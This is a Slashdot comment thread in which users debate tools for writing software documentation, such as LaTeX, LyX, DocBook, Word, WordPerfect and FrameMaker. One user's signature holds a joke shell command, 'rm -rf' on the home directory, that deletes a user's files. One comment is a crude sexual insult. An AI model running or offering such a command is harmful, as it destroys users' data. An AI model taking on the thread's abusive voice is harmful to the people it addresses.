    Word: I know you, the poster, don't want to use Word, so this is for others who must use it. I dislike MS as much as the next /., but I must say that Word is actually a very good product. There are things that annoy me (especially placement of pictures), and there's the macro virus issue, but you probably don't need macros in documentation anyway. As someone else pointed out, there are versioning features in Word. In addition, there are collaboration features that let you track, accept, and reject changes. The style sheets are pretty powerful (most people never use them), and allow you to quickly and easily create tables of contents. And of course, if you're in Windows and have Word already, and assuming it does not constantly crash, it's really the easiest thing to use. Just don't try exporting your document to HTML!

    1. Re:HTML, LaTeX, LyX., Word... by hereticmessiah · · Score: 2, Insightful
      If you had problems with LyX, it's because you were treating it as a Word Processor, which it isn't. If it's counterintuitive, that's why. this comment explains things better than I could. The worst thing about LyX is that XForms is ugly and clunky, but you get over that.

      Did you even think of reading the manuals? If I was using a program that uses a paradigm I wasn't used to, I'd read the manual. I mean, you wouldn't expect a functional language like O'Caml to work the same way as an imperitive language like C, would you? It's the same sort of thing, in a way.

      --
      I don't like trolls and mod against me if you like, but I'd prefer if you'd reply.
    2. Re:HTML, LaTeX, LyX., Word... by fperez · · Score: 3, Informative
      I beg to differ on the LyX issue. I (and many others) find it unbelievably useful, as an easy to use front end to the underlying raw power of latex and friends.

      I personally use LyX not only for technical stuff (physics) but also for software documentation. The manual for my most recent project IPython was all written in LyX and from the single LyX source I generate html and pdf versions for distribution.

      I wrote a little perl tool called lyxport that automates the process of generating PostScript, HTML and PDF from a single LyX source file.

      With LyX I have a word-processor like environment (but where I can customize everything I want) that handles long, multipart documents flawlessly, cross-referencing, graphics, bibliographies, you name it. And from that single source I get properly subdivided HTML, ready to print PostScript or fully hyperlinked PDF (just remember to use the hyperref package for that).

      I have used MSWord for long documents (100+pages, multi-part with included subdocuments) and it is simply a stupid, devilishly bad joke. It can (I've seen it do it) crash and leave a multi-part document corrupted to the point where the only option is to rebuild the global structure from subdocuments, and the overall design is simply moronic.

      Latex was designed with books and technical documents in mind. Lyx was designed to offer easy access to Latex's power. And side tools can pull them together into a near-perfect environment for what the original poster wanted. And by the way, LyX also handles DocBook if you're looking in that direction.

    3. Re:HTML, LaTeX, LyX., Word... by PlaysWithMatches · · Score: 2, Informative

      LyX: I found this very non-intuitive and gave up on it quickly. As I recall, the tab key did not work as I expected it, and various things just weren't what I expected them to be.

      I've been using LyX for a couple of years, and yes it does take some adjustment. The reason it's "non-intuitive" is because it tries to get you out of the "Word" mindset, which is that you have to do everything yourself. For writing papers and the like, you don't need the TAB key. Define the general layout of the document, and just type. That's the way it's supposed to work, and it works great for my purposes (school papers).

      --

      Mozilla's a nice operating system, but it needs a better browser.
    4. Re:HTML, LaTeX, LyX., Word... by Faramir · · Score: 1

      Your observation is probably correct. I did consider reading the manual, in fact I think I even started to, but I quickly found that I was doing just fine with raw LaTeX and liked it that way. So I'm not trying to dis LyX, just saying that I gave up on it. I probably could have given you better reasons two years ago, when I last tried it, but I just can't remember anymore. Besides, I'm stuck in MS land now and have to pretend that Word is good enough for me (the comment about outlining was quite apt. I wasn't thinking about that at the time, can be quite obnoxious till you get used to it). If I don't pretend, I'll go mad, and its just not worth it...

    5. Re:HTML, LaTeX, LyX., Word... by Anonymous Coward · · Score: 0

      Of course the tab key did not work in LyX as a WYSIWYG word-processor would have it; didn't you read anything about it? It was designed around LaTeX, so it's obviously not WYSIWYG. You should know better, having used LaTeX, that you do not do your own primitive manual typesetting with the "TAB key". Sigh. Bandying around terms like "intuitive" too. And you used LaTeX! Huh.

    6. Re:HTML, LaTeX, LyX., Word... by Syberghost · · Score: 2

      The worst thing about LyX is that XForms is ugly and clunky, but you get over that.

      They're working to fix that by making it GUI-independant.

      I believe there is a Gnome frontend already, but I have never used it.

  51. Plain text by LosManos · · Score: 1

    hi.
    I always use Notetab (or just any other editor). Anything else makes me work more with the layout than the contents.
    /LosManos

  52. e-TeX by MrBubbles · · Score: 1

    I have been most impressed with extended plain TeX. It offers some niceties that plain TeX does not offer, but is not nearly as controlling and pigeon-holing as LaTeX. I don't know of any good, integrated tools out there for UNIX systems, other than maybe Emacs (what doesn't Emacs do?) but a few scripts go a long way. As far as documentation, The TeX-book is the bible, and a search on Google for tutorials provided me with a fair amount of good material. The learning curve? Well, I was able to produce some decent stuff after a day, much better stuff after a week, and it just got better after that.

    However, keep in mind that TeX is limited. It only can only render text horizontally (no rotations) and it can't render graphics itself. Postscript is needed for that. Also, translation to HTML can be iffy with a lot of equations or symbols or things of that sort.

  53. WordPerfect by mkoenecke · · Score: 5, Interesting

    Remember WordPerfect? Version 9, SP4, is rock solid stable and does not suffer from Word's inability to handle long documents. (The primary culprit: Word's continuous repagination and reformatting, required by the document structure.) Versioning is supported, and WordPerfect, unlike Word, has the native ability to generate PDF files. Version 10, SP2 does even better, formatting hyperlinks automatically in PDF files, but I won't recommend it yet because there's a nasty interaction bug between it and Mozilla.

    Not to mention WordPerfect's ultimate advantage over Word: Reveal Codes. In Word, any fouled-up formatting can only be fixed by *different* formatting. In WordPerfect, you can *remove* offending code. And it's more customizable, doing things the way you want them done, not the way Microsoft dictates. I could go on about dozens of other advantages, too.

    Oh yeah, there are Linux versions available too (albeit using Wine).

    Frankly, I'm amazed that any person with technical knowledge and expertise would use Word by choice.

    --
    TANSTAAFL
    1. Re:WordPerfect by TechnoLust · · Score: 1

      I couldn't agree more. I've been using WordPerfect since DOS days, and I've never found anything better. I just wanted to add that (since you have been trying to use Word) WordPerfect does a pretty good job of handling the conversion. Some of the formatting may be lost, but most of it will be fine. I typically write my documents in WordPerfect, then import into Word, fix what it messed up on import, and then save. (Word is a little more prolific.) Also, if I am not mistaken, WP will save as HTML, too.

      --
      "Da ist ein Technölüst in mein Unterpanten!"
    2. Re:WordPerfect by Anonymous Coward · · Score: 0

      I'm just amazed that anyone could recommend that decaying offal and great example of market failure, Wordperfect. Of course if you don't work with anyone else, perhaps it would be OK - but when you need anyone else to look at anything but a printout, you're screwed.

    3. Re:WordPerfect by Peale · · Score: 1

      There are versions available that you don't need Wine for. I've got a copy somewhere, but I don't type documents that often, and I'm sure it's been archived.

    4. Re:WordPerfect by istartedi · · Score: 3, Informative

      Ugh! One time my room-mate lost a few hours of work due to a corrupted WP file. He asked if I could fixed it. About an hour into carefully studying the revealed codes, I decided I needed some help. So I went to Corel's website. There were literally hundreds of ways that WP files could become corrupted. The problem was particularly heinous because this particular file would cause the entire system--not just WP, to lock up when you cursored into the wrong part of the file. We eventually gave up, and my room-mate reconstructed his writings from memory (human memory that is).

      Of course, that's just one bad experience. Anyone else care to comment about corrupted files in these programs? Automatic backups are always an option, but my room mate did this on a school machine which went down, and he was unaware of that feature anyway.

      Of course the best thing would be to have files never get corrupted in the first place, but if they do it should be easy to recover.

      --
      For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
    5. Re:WordPerfect by rmcd · · Score: 1

      The previous poster is correct that corruption can occur in Wordperfect although I believe it is rare. I started writing a book using WP and one of my chapters became corrupted. I lost a few days work. I retreated to a previous version of the file, and it became corrupted in the same way. I sent the file to Corel and actually spoke with a Wordperfect programmer who had examined my file, reexamined the WP source code to check for bugs, and explained the problem but said he had no clue about the cause.

      That was the week I obtained wp2latex and started to learn latex. It's been a long haul but I have never looked back and have been delighted by the switch.

    6. Re:WordPerfect by conan_albrecht · · Score: 1

      A few months ago, I would wholeheartedly agree. I wrote my dissertation in WP and it worked perfectly. My fellow students who wrote in Word had constant problems.

      However, I suggest you check out LaTeX. It is reveal codes on steroids. I've fully switched to LaTeX from WP and it's awesome. I use LaTeX for structured documents like documentation, papers, and books. I still use WP for simple letters, pamphlets, etc.

      Check out: http://www-cryst.bioc.cam.ac.uk/~paul/latex.html for an install guide.

    7. Re:WordPerfect by Syberghost · · Score: 2

      You know, if I had a car that occasionally turned left and died when I turned the wheel to the right, I wouldn't sigh and try again, I'd sell the goddamn thing to a scrapyard and use a car that didn't do that.

      Hence why I don't use Word or WordPerfect except when I'm required to by my employer; I use Lyx.

  54. TEX / LATEX resources by Anonymous Coward · · Score: 1, Informative
    just had to write an invoicing system that would generate invoices to a variety for formats and found tex/latex to be wildly useful for anything that needed to be burned on dead trees.

    in particular these resources

    • http://www-h.eng.cam.ac.uk/help/tpl/textprocessi ng /latex_advanced/node1.html
    • http://www.tex.ac.uk/cgi-bin/texfaq2html?introdu ct ion=yes
    • http://www.agu.org/meetings/mtabsLTX.html
    • http://heather.cs.ucdavis.edu/~matloff/LaTeX/Loo kH ereFirst.html
    • http://www.astro.gla.ac.uk/users/norman/distrib/ La TeX.html#textpos
  55. Diff'ing by Da+VinMan · · Score: 2

    And, so how are you able to run a diff of some sort against your document? Unless your tools supports this (MS Word does BTW), then you are SOL. I think it's too much to ask the version management software to do that.

    Now, if you're using pure ASCII files to do your document, you can easily diff the file and inspect it using many other common stream tools (e.g. grep, perl, wc, uniq, etc.) for many purposes.

    --
    Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  56. docbook does work, and works well by jeffr · · Score: 5, Informative

    We're using the preloaded docbook on RH7.2
    and it works fine.

    Grab some emacs elisp files from sourceforge
    to round out the package and you are good to go
    with tag completion and font color locking
    in emacs.

    Docbook advantages:

    * no worries about formatting, just write content

    * can generate html, postscript, possibly wml, carved stone tablets, etc.

    * can be parsed by freely available xml parsers
    to intelligently extract, say, all authors, all section titles. This could be done with raw
    perl, but why rewrite an xml parser when so
    many already exist?

    * documents can be easily stored in an OODB,
    using an xml->object marshaller, if you are
    into that sort of thing. This allows
    any number of documents to be subject to
    the full power of the database querying
    and indexing.

    Latex (tex) is great, and I've used it for 20 years,
    but its definitely not the same thing as docbook.

    Latex
    allows - encourages actually - one to think
    about appearance while writing the document.
    And you do get great looking output.
    But you sacrifice everything that docbook/xml
    offers in terms of document parsing for other
    purposes.

    1. Re:docbook does work, and works well by Evangelion · · Score: 1


      >Grab some emacs elisp files from sourceforge
      >to round out the package and you are good to go
      >with tag completion and font color locking
      >in emacs.


      Do you have a link? I've been living with psgml, and haven't had alot of pleasant experiences.

    2. Re:docbook does work, and works well by atoms · · Score: 1

      One can generate rtf output from DocBook also, for those whose target audience includes m$word users.

    3. Re:docbook does work, and works well by jeffr · · Score: 1

      Sorry, i was lazy and wrong;
      its on the norm walsh site, see

      http://nwalsh.com/emacs/docbookide/index.html

    4. Re:docbook does work, and works well by muleboy · · Score: 1

      I haven't played with docbook yet, but there's one requirement I have that is a must:
      Can docbook generate complex math equations?

    5. Re:docbook does work, and works well by Quik · · Score: 1

      There is an equation tag in the DTD. I have never used it but have a look at:
      http://www.docbook.org/tdg/en/html/equation.html

    6. Re:docbook does work, and works well by Quik · · Score: 1

      Forget about it it's only displaying a png. Should have looked closer. Sorry.

  57. Drop that word processor and walk away slowly. by wbattestilli · · Score: 1

    In the end, you want to be using LaTeX. It is efficient and beautiful, especially for large and complex projects. It can magically turn itself into pdf and HTML too. It won't crash. Most importantly, it will still exist and work in 25 years, and so it is great for long-term storage. (How long will MSWord files be able to be viewed?)

    If you comming from the world of word processing, it can be a bit of a leap though. I recommend that you start with LyX, a frontend to LaTeX that is pseudo-WYSIWYG and has a GUI. It will export LaTeX, so once you get comfortable with the concepts of typesetting (vs. word processing) you can drop the gui (or not, depending on taste).

  58. Framemaker by Anonymous Coward · · Score: 0

    I currently use LaTex now, but I've been thinking of switching to Framemaker from Adobe. It handles long documents well and is generally good at handling technical documents.

    The advantage to TeX (to me anyway) is that its ASCII so in some cases I have programs generate TeX for me as documentation (SQL Database stuff). And its free.

    The advantage of Framemaker is that its WYSIWYG and some little things like if you put images in your document, you can have them actually inserted into the document file or referenced in from an external file depending on what you want.

    Also with Latex, if you want to view a document with a DVI viewer, you pictures need to be in EPS format, but if your going to generate PDF's with PDFLatex, then you need to have the files in something like PNG. So all of my screenshots need to be in both formats which is kind of a pain.

    1. Re:Framemaker by tmurrow · · Score: 1

      Yeap, FrameMaker is my pick for the best documentation ap. As with so many products they've appropriated, Adobe haven't done the right thing by it, but it's still a hell of a lot better than anything else I've used in terms of ease-of-use, PDF and HTML production and cross-platform compatibility. There are a few *nix flavours, Mac, and MS Win versions. Ask some tech writers at http://www.frameusers.com

  59. doc++ by veggiespam · · Score: 1

    many people suggested doxygen (or somesuch), but i'd like to recommend doc++. exact same syntax as javadoc (no learning curve). it will generate html or tex (and thus ps/pdf/etc). it works on c, c++, or java code. http://www.zib.de/Visual/software/doc++/ (v3.2 - original) or http://docpp.sourceforge.net/ (v3.4.x - new maintainers).

  60. LyX by hereticmessiah · · Score: 1

    You can't beat it, quite frankly. It does all the work for you and produces beautiful output with LaTeX.

    I've struggled with Word to get its stylesheets to work as well, but I've never really got it to work in a manner I find satisfactory. It's just not easy enough to change between styles and it's not possible to do some of the tricks you can with TeX. I'm not talking anything hard here, I'm just talking about getting paragraphs formatted nicely i.e. No indentation on a leading paragraph and indentation on any following paragraphs. There are (IMO) nasty kludges you can use, but it just doesn't work as well.

    --
    I don't like trolls and mod against me if you like, but I'd prefer if you'd reply.
  61. Re:You by negativekarmanow+tm · · Score: 0

    If you had a dick, I'd let you fuck my mother, but since you're halfway through your gender-change therapy, you can just nibble on my long hard cock.

    sheesh, the nerve of some people...

    --
    No security through obscurity: my password is goatse. Stop me before I troll again.
  62. [ot] Anybody ever tried developing their own? by kitts · · Score: 0, Troll

    I've been wrestling with this problem myself lately, as I'm going to be getting into putting some seminar stuff I've written for my students into a portable format. Pretty much all the options have their drawbacks, and I figured what the hell, I'd roll my own.

    Has anybody tried doing this? What approaches did you try? What language(s) did you use for parsing it? What problems came up? What general format guidelines did you have to settle on? Anything that you wanted to do and couldn't, for whatever reason?

    --
    -------------------------------------------------- ----
    charlton heston is more of a man than yo
    1. Re:[ot] Anybody ever tried developing their own? by RonBurk · · Score: 0, Troll

      I just write in a very simple subset of XML, creating new tags whenever needed. The subset is simple enough that the C function I use to parse it is about 120 lines (speed of parsing is blindingly fast enough to never be an issue).

      Once the documents are in XML, then I change them into whatever I want. I use a custom C program to turn a bunch of XML files into input for PDFLaTeX when I want to get a PDF file. I use XSLT to turn them into HTML. I use LaTeX to get PS. HTML, PDF, and PostScript are about the only output formats I care about at the moment, but I'm betting I'll be able to fairly easily transform the XML into any other output format I need in the future.

      I played with DocBook, and would be more likely to use it if I expected other people to maintain my docs in the future. However, by evolving my own set of tags, I found it much easier to remember what does what, and of course to make the functionality exactly fit my needs.

  63. No question - use LaTeX by jelson · · Score: 5, Insightful

    I grappled with exactly this problem for years. I wanted something that would give me superb quality Postscript/PDF, good HTML, and at least passable ASCII text. (In 1994, it was still important to distribute ASCII documentation; not everyone had a web browser.)

    I went back and forth with all sorts of things: SGML based solutions, a few more "proprietary" utilities, etc. Finally, the latex-to-other-format conversion tools got to be good enough that I could use LaTeX as my primary format.

    My most recent documentation is for FUSD, a Linux framework for user-space devices. The original documentation source is LaTeX. Simply running LaTeX gives you DVI, which you can convert into publication quality Postscript. Using pdflatex (NOT ps2pdf), you can also create very high quality PDF, which includes a real PDF table of contents, cross-references, and URL links. Finally, using latex2html, you can create almost native-quality HTML documentation. And, if you really need ASCII, you can get a reasonable rendering by running lynx (in its ASCII-dump mode) over the HTML.

    latex2html comes with special LaTeX macros that let you specify hyperlinks inside your document. They are rendered as real hyperlinks in HTML, and footnotes in the printed versions.

  64. Migrating from LaTeX to DocBook by 4of12 · · Score: 2

    I agree wholeheartedly with your desire to keep the documentation in ASCII text instead of some binary proprietary format.

    I have TeX files from over 10 years ago that

    • were produced on different hardware than I'm running now
    • were produced on a different operating system than I'm running now
    • still can be run through TeX
    • still produce unmatched quality of output, particularly for mathematics
    • can be quickly and easily searched with tools like grep
    • are friendly to the CVS version control system
    and all for free!

    That said, I'm looking into using DocBook in the near future, particularly after seeing how well it's been working for the Linux Documentation Project.

    XML is definitely a good way to go; I'm just not sure if the latest DTD's do a sufficiently nice job on mathematics (via MathML) and on graphics (looking for SVG, not just images).

    --
    "Provided by the management for your protection."
  65. printing HTML by Anonymous Coward · · Score: 0

    What makes you say HTML doesn't print well? Have you tried creating reasonable CSS style sheets for paged media? That's what it's there for. Then you can use the same documentation both online and hardcopy. Just link to multiple style sheets, and any non-broken browser should handle it just fine.

    Note the non-broken browser.

  66. FOP by Anonymous Coward · · Score: 1, Informative

    For an XML and PDF based solution, check out FOP from the Apache XML Project. Based on XSL Formatting Objects, an upcoming W3C-standard. It rocks!

    1. Re:FOP by cakoose · · Score: 1

      I just started using XML-FO and while it isn't really a full-featured document creator, it works for what I need.

      For example, you can't exclude headers/footers from a specific page. If they're on one page, they're on them all.

      It's also difficult to write XSL-FO directly (extremely verbose). If you know XSL, however, this shouldn't be a problem. Once you have your template, you can transform and then convert to PDF.

      I use Apache's FOP but it seems to be really buggy. It crashes a lot. You will probably want to do the XSL transformations in one step with Xerces-Java (also from Apache) because it'll give you more useful error messages and then do the XSL-FO to PDF conversion with FOP.

      There's a commercial XSL-FO package too and I've read that it is better than FOP.

  67. Re:Saying the same thing by Anonymous Coward · · Score: 0

    They wouldnt realize they were on the same subject.

  68. Docbook is the tool by Anonymous Coward · · Score: 0

    Docbook XML is your tool. Convert your single source to plain text, HTML, RTF, Postscript, PDF, more.

    You mentioned you had problems with the tools. Welcome aboard! You're just like 3/4 the posters to the mailing lists. In this case, read the Docbook HOWO on the Linux Documentation Project, and keep asking people until you have a working system. Once you have things in place, it'll reward you tremendously. If you _still_ can't get it working, you still have one more option. A fellow working with the LDP set up an automated email responder. Send it your source, and get the processed output sent back. Don't recall the name or address but if you ask, I'm sure someone will speak up.

  69. Word ... by TheViffer · · Score: 1

    is generally what I use. Now days it is Abi or StarOffice. Sorry to say though that if your doing a massive amount of it, probably have to go with the Word.

    If you need to write any techinial docs on the implementation, I strongly recommend you checking out Doxygen , works like a champ, not to mention you can do your documentation in your vi/emacs editor.

    --
    -- Knowing too much can get you killed, but knowing who knows too much can make you rich.
  70. A few... by Matthew+Weigel · · Score: 2

    1. Take a look at literate programming tools, like noweb or doc++ (language specific).

    Given the broad nature of you query it's not clear what is most appropriate for you; but literate programming might be what you need.

    2. Framemaker. I've never used it myself, but I have known people who did all of their word processing in it. Pretty output, can do web output too, and definitely intended for larger documents.

    3. Look at [La]TeX again. Seriously. Some of the stuff you need may not be easily provided, but I don't know. Get the book on LaTeX and see if that doesn't handle your previous problems.

    --
    --Matthew
  71. Not to be the obvious, but upgrade to Win2k or XP by cybrthng · · Score: 2, Insightful

    I use word, Visio, Toad (oracle), eXceed (x), Lotus Notes, Netscape, Jinitiator (11i client), and SecureCRT all day long and have no problems.

    95,98, NT 4 and 2ksp1 crashed, but i have yet to have a random crash under Win2kSP2 or XP.

    Have you looked into reasons of why our PC crashes? I'm constantly building Visio diagrams, documenting schema's, editing 500 page documents full of 20-30 meg schema diagrams and at the same time telneted into several servers, and connected to an application server running on Solaris through exceed and still running Lotus notes and whatnot..

    must be buying some sour computers man.

    Hello, i just have my laptop go into sleep mode, open it up when i get hope and pick right up (with the exception of telnet sessions).

    Why change your whole application suite for what could be an obvious hardware or application problem. My pc quit crashing on my almost 2 years ago and over the last year hasn't crashed unless *I* did something wrong. (like say Yes to a message warning me my VPN driver wasn't certified for XP, but thankfully after rebooting it rolled back to a working config very nicely).

    oh well. your loss if you can't figure out what is wrong and blame it on blue screen o'death

  72. Unless its bad hardware by Anonymous Coward · · Score: 0

    In all the years I have been using word the last time I can remember it crashing was in windows 3.1. Of course a bad memory module or cpu can cause random application/os problems in any program. I agree with the first poster, if hes having problems with word (the most widely used word processor out there) then he has other problems. Sounds like an excuse to get a story posted....

  73. Use a simple LaTeX preprocessor by Bramsted · · Score: 1

    For the software project I'm working on, we needed a system that could produce .CHM (MS HTML Help) files and printed documentation.

    We developed our own, very simple HTML like markup language. The documentation is then transformed into either HTML files, for input to the Microsft HTML Help compiler, or LaTeX files. The LaTeX compiler can produce either PostScript for the print shop or PDF files for download.

    /B

  74. For my money, the best is Adobe Framemaker by Anonymous Coward · · Score: 0

    I'm a tech writer, the guy who has to be able to write and understand both computers and English, explaining the stuff in layman's terms while keeping it interesting. My favorite tool is Framemaker. It converts to anything, especially PDF, as it's now owned by Adobe. Plus, it's made for print publication. All the functions Word hides and makes difficult are cake, including cross-references, indexing, ToC's, the works.

    1. Re:For my money, the best is Adobe Framemaker by Cosmicbandito · · Score: 1

      hear hear. And Framemaker provides easy template support. Highly recommended.

    2. Re:For my money, the best is Adobe Framemaker by richmaine · · Score: 1

      I just finished switching a 500 page document
      (The draft Fortran 2000 standard) from Frame to
      LaTeX. Frame isn't supported on Linux (there
      was an old beta that can still be hacked to work,
      but it isn't supported), it had a bugs that kept
      biting me (and I don't mean just in the beta),
      it's attempts at html output were abysmal, and
      it had a bunch of other things that annoyed me.

      I was forever running into things that I could
      do only with lots of gui mousing - really
      annoying when you need to do 100 cases and it
      isn't automatable. Corresponding things in
      LaTeX are often easily doable with simple
      global search and replace in emacs (or your
      favorite other editor/tool).

      Really happy we switched to LaTeX.

  75. Re:Amateur code by Anonymous Coward · · Score: 0

    I have found that most open source documentation is overly bloated and not helpful to the average user such as myself. It usually takes up a good page or two just telling the history of the documentation, along with terms of use and other garbage. Then if you are lucky, somewhere around the 5th page is the information you are looking for.

  76. Tex not suitable?? by Carbon+Unit+549 · · Score: 1
    Then of course there is TeX and any number of WYSIWY-won't-G word processors. I haven't used TeX much, I only tried my luck in writing a few letters (and found out that it is not suitable for this).

    Of course it is. Take a look at the
    Linux Documentation Project for example. Plus as an added bonus, writing Tex (or LaTeX) using vi is almost as fun as coding.

    or example
    --

    nohup rm -rf ~/. >& zen &

  77. POD by Genady · · Score: 2

    Really. Most of the programming I do is in PERL, and I had the same problem. There are TONS of ways to convert POD to other formats. Hell The PERL Cookbook was written in POD with some TROFF markup.

    --


    What if it is just turtles all the way down?
  78. obvious joke, sorry by Graspee_Leemoor · · Score: 3, Funny

    "I have been charged with writing lots of documents"

    ...In the trial of the /. submitter vs the hacker community the defendant was found guilty of writing documentation. He also asked for several charges of using meaningful variable names be taken into consideration.

    graspee

  79. Just a note by Magus311X · · Score: 1

    I know in C# you can use XML for commenting, and it'll pull it right out of the source. In the development environment it even adds basic comments for you (function name, parameters, etc) if you choose to do so.

    I wonder if all .NET languages (and mebbe even Mono ones) can just slap XML in the source?

    -----

  80. Software602 PCsuite by cbass377 · · Score: 1

    will do what you require and it is cheap. For $29 it will save to html pdf and rtf. As for CVS use rtf

  81. Why? by Anonymous Coward · · Score: 0

    is it asking too much to ask the version management software to do that?

  82. Use DocBook and document as you code by UsonianAutomatic · · Score: 3, Insightful
    Or document even before you start coding, as someone else already mentioned; I've found that starting documentation early on accomplishes two things:
    1. it helps the planning process immensely by forcing you to really think about what your code is going to be doing, and
    2. it ensures that the documentation end of the project doesn't get short shrift; once the code is done it's too easy to gloss over the documentation when the next project is breathing down your neck.
    DocBook easy to author with... the pain in the neck part is setting up a processing environment with Jade/OpenJade/DSSSL, but it's well worth it. It's also possible to use XSL/XSLT to process DocBook XML, but I don't know how involved the setup is. YMMV.
  83. Docbook explained by KDE's team by gfilion · · Score: 2, Informative

    I used to have a lot of trouble in making Docbook work, until I found out KDE's developers documentation.

    Install the DocBook parsers and generators:
    http://i18n.kde.org/doc/install/

    General docbook information:
    http://www.docbook.org/

    SGML is the ISO standard for stocking information, and Docbook is the standard for writing books/documentation in SGML or XML. IMHO, it's the way to go.

  84. LEO, Donald Knuth & Literate Programming by Belly+of+the+Beast · · Score: 2, Interesting

    Leo is a programmer's editor that represents a noweb or CWEB (literate) program as an outline. The combination of literate programming and outlining creates a powerful and enjoyable new way of programming.

    Donald Knuth. "Literate Programming (1984)" in Literate Programming. CSLI, 1992, pg. 99.
    I believe that the time is ripe for significantly better documentation of programs, and that we can best achieve this by considering programs to be works of literature. Hence, my title: "Literate Programming." Let us change our traditional attitude to the construction of programs: Instead of imagining that our main task is to instruct a computer what to do, let us concentrate rather on explaining to human beings what we want a computer to do. The practitioner of literate programming can be regarded as an essayist, whose main concern is with exposition and excellence of style. Such an author, with thesaurus in hand, chooses the names of variables carefully and explains what each variable means. He or she strives for a program that is comprehensible because its concepts have been introduced in an order that is best for human understanding, using a mixture of formal and informal methods that reinforce each other

  85. HappyDoc by Arkham · · Score: 2
    Not sure what language you're using, but HappyDoc is popular amongst python developers.

    It does a really nice job generating (HTML, text, etc.) documentation from python code __doc__ strings and source code.

    --
    - Vincit qui patitur.
  86. You're putting the horse after the cart. by Anonymous Coward · · Score: 0

    You have the process backwards.

    You write documents like specifications, user manuals and architecture/design documents before you code. They help you think about the problem completely. This allows you to communicate your understanding to other people.

    Writing documentation after you've done the work is pointless. I always say writing documentation is what coders do until they can code again.

  87. Try CWEB by Anonymous Coward · · Score: 0

    http://www-cs-faculty.stanford.edu/~knuth/cweb.htm l

    I had a prof who used it a lot.. hmm. never tried it myself. Saw the o/p documentation- was kind neat.

  88. This monkey gets insightfull? by cybrthng · · Score: 2

    "If an application crashes, it's the developer's fault. Period. End of story. It is NEVER the user's fault. "

    Oh yes, That is really how the world works.

    How about when LyX is such a painfull program to work with that i throw my PC out the window, can i blame that on YOU and the developers since it ISN'T my fault?

    How about when i can't read a sign because there is glare and i crash run over a few school children, it isn't my fault but the construction firms fault because they dind't angle the sign right and i have the right to be ignorant because i'm a user.

    bug off

  89. Linuxgazette by toadnine · · Score: 1

    The Linuxgazette is writing a serie of docs about this. They're explaining how to use POD, LaTeX with latex2html and next month DocBook will have it's turn.

  90. LyX by bytor4232 · · Score: 1

    I would use LyX. It is the best program under any platform for writing documentation. It may be different when you first use it, and will hate it the first time you try to put multiple spaces in a sentance, but once you get the hang of it you will cook through documentation extreamly fast. Its really a different way of approaching documentation. Plus, using LyX, you will be able to export it to a myriad of portable formats including PS, PDF, etc.

    --
    -- 4 8 15 16 23 42
  91. Answers to stupid interview questions by PD · · Score: 2

    The next time someone asks you that inane question "What is your greatest weakness?" you can just answer that writing documentation is your greatest weakness, but sometimes you've got to do things you don't like to do, so you tend to rely on document generating tools. Nobody likes to do docs, so he'll know exactly what you mean, and you can pat yourself on the back for answering a stupid question in a way that makes you look smart.

    1. Re:Answers to stupid interview questions by Cosmicbandito · · Score: 1

      The only problem is, I'm a technical writer. Telling them I don't like to do documentation would be an addmission that I hate my career. (which I don't)

    2. Re:Answers to stupid interview questions by Anonymous Coward · · Score: 0

      Ok Mr PD. an interesting answer to my question. So, how do you use a documentation generation tool against a system which isn't written yet. You do document the design in advance don't you. You don't. Oh. Well it's been nice talking to you. Here's your coat. No, don't worry about finishing your coffee. :]

    3. Re:Answers to stupid interview questions by PD · · Score: 1

      Did you think I was LYING when I said that documentation was my greatest weakness? What part didn't you understand? SHEESH! This is another reason I hate writing documentation. Most people aren't intelligent enough to understand what you've taken the trouble to write.

    4. Re:Answers to stupid interview questions by Anonymous Coward · · Score: 0

      Ahh. See the tongue in my cheek, you cannot, hmmm ?

    5. Re:Answers to stupid interview questions by PD · · Score: 1

      Not Visible is a tongue in the cheek. Outside of mouth to be seen tongue must be.

  92. Upgrade your video card drivers. by Anonymous Coward · · Score: 0

    If something is freezing, it's a hardware problem, not a software problem. Since you mentioned graphical glitches, the culprit is most likely your video card. Go to the manuf's website and upgrade to the latest version of your video card drivers. If your card is old, it's probably time for a new one.

    1. Re:Upgrade your video card drivers. by Anonymous Coward · · Score: 0

      This is especially true if you are using Windows XP also. I know that my ATI AIW Radeon required new drivers for XP (beyond what came on the XP disk).

  93. Look at the data format first by duplicatedAccount · · Score: 1
    Then make your mind up. documentation tends to live long, really (I worked for a three letter company, who had to port their BTX documentation from the old host system).

    Once you know that you don't want to recode after 15 years, than choose you favorite encoding.

    Next ask youself how many people gonna work at the docs and whether you can afford that one private macro might turn things bad after those 15 years and how you're going to teach them what to use and what to skip (and who maintains these rules).

    If your project is very small and needs usually 3-30 pages, stick with word. If only a few people will contribute text and the document will be frozen after a few month, go with LaTeX. Also LaTeX if there's a lot of math. Otherwise take the XML route. Not because it's fashion or because I'm in the SGML business since 10 years, but because it's future proofed. Select a DTD according to your needs. If it's technical documentation written by technically skilled, definately docbook.

    Now it's time to ask for tools, because tools are always the least important thing. Acrobat is a good source if you can shall out money. Abiword helps you somehwhat with badly written docbook. A few more are out there. I'd like to know which are really good.

    Personally I still stick to emacs and have gotting into the habbit that I don't really feel that sorry kind of &lt;-typeing any more.

  94. Darwin Information Typing Architecture - From IBM by LetterJ · · Score: 1

    I've been using DITA from IBM for a while. XML-based, simple, but extendable and oriented around topics instead of books (like Docbook is). Some clever XSLT and you have an ASCII file documentation system (that works with CVS) that outputs pretty much anything you could want including conversion to Docbook or any other XML vocabulary.

  95. The problem I have with Documentation Systems by Anonymous Coward · · Score: 1, Interesting

    is that none of them help you anticipate when and where changes in the source code would require changes in the documentation.

  96. XML/XSL by sct · · Score: 1
    Wow, I am getting a late start here... long lunch :-)

    We have begun using XML as our file storage for testplans and other documentation. We wrote a fairly strict DTD and a few style sheets. We save all the XML in CVS- yank it out, process it into HTML and run with it. We did use FrameMaker (which our doc team still does) and some odd Word docs; but we are moving from that pretty quick. For stuff you don't want to format using the style sheet, we use a CDATA block to allow HTML. It seems to work pretty well. Converting the old docs is a pain in the ass though.

    The really big plus for me is that I don't have to use Windows to do my writing- despite my company being a Microsoft lap dog.

  97. Documentation is for chumps by Anonymous Coward · · Score: 0

    Let the flames begin, but I don't document anything that I write form my company. Do you have any idea how much more they pay consultants than they pay me? Its kind of crappy, but they have no loyalty to me, so I have no loyalty to them. I write good code. If they fire me, they can let somebody else pour over the quarter of a million lines I wrote this year. I dont waste my time writing documentation. Or, they can hire me as a consultant to fix it. Either way, I win.

  98. Personally by cavemanf16 · · Score: 1
